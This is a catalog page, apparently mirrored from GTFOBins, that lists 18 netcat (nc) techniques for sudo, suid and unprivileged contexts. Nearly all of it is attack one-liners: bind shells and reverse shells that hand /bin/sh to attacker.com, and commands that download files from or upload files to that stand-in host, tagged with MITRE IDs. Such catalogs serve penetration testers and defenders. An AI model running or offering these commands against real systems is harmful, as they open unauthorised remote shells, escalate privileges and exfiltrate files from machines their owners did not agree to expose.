DΛΣMӨП

Catalog GTFOBins

GTFO · Tool

nc

18 techniques Linux · macOSGTFOBins GPL-3.0

bind-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS

This only works with netcat traditional.

nc -l -p 12345 -e /bin/sh
Context
sudo
Native
bind-shell

bind-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS

This only works with netcat traditional.

nc -l -p 12345 -e /bin/sh
Context
suid
Native
bind-shell

download

File DownloadPrivilege Escalation LinuxmacOS

The file is actually written by the invoking shell.

nc -l -p 12345 >/path/to/output-file
Context
sudo
Native
download
MITRE
T1105

download

File DownloadPrivilege Escalation LinuxmacOS

The file is actually written by the invoking shell.

nc -l -p 12345 >/path/to/output-file
Context
suid
Native
download
MITRE
T1105

download

File Download LinuxmacOS

The file is actually written by the invoking shell.

nc -l -p 12345 >/path/to/output-file
Context
unprivileged
Native
download
MITRE
T1105

download

File DownloadPrivilege Escalation LinuxmacOS

The file is actually written by the invoking shell.

nc attacker.com 12345 >/path/to/output-file
Context
sudo
Native
download
MITRE
T1105

download

File DownloadPrivilege Escalation LinuxmacOS

The file is actually written by the invoking shell.

nc attacker.com 12345 >/path/to/output-file
Context
suid
Native
download
MITRE
T1105

download

File Download LinuxmacOS

The file is actually written by the invoking shell.

nc attacker.com 12345 >/path/to/output-file
Context
unprivileged
Native
download
MITRE
T1105

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS

This only works with netcat traditional.

nc -e /bin/sh attacker.com 12345
Context
sudo
Native
reverse-shell

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS

This only works with netcat traditional.

nc -e /bin/sh attacker.com 12345
Context
suid
Native
reverse-shell

reverse-shell

Reverse/Bind Shell LinuxmacOS

This only works with netcat traditional.

nc -e /bin/sh attacker.com 12345
Context
unprivileged
Native
reverse-shell

upload

File UploadPrivilege Escalation LinuxmacOS

The file is actually read by the invoking shell.

nc -l -p 12345 </path/to/input-file
Context
sudo
Native
upload
MITRE
T1041

upload

File UploadPrivilege Escalation LinuxmacOS

The file is actually read by the invoking shell.

nc -l -p 12345 </path/to/input-file
Context
suid
Native
upload
MITRE
T1041

upload

File Upload LinuxmacOS

The file is actually read by the invoking shell.

nc -l -p 12345 </path/to/input-file
Context
unprivileged
Native
upload
MITRE
T1041

upload

File UploadPrivilege Escalation LinuxmacOS

The file is actually read by the invoking shell.

nc attacker.com 12345 </path/to/input-file
Context
sudo
Native
upload
MITRE
T1041

upload

File UploadPrivilege Escalation LinuxmacOS

The file is actually read by the invoking shell.

nc attacker.com 12345 </path/to/input-file
Context
suid
Native
upload
MITRE
T1041

upload

File Upload LinuxmacOS

The file is actually read by the invoking shell.

nc attacker.com 12345 </path/to/input-file
Context
unprivileged
Native
upload
MITRE
T1041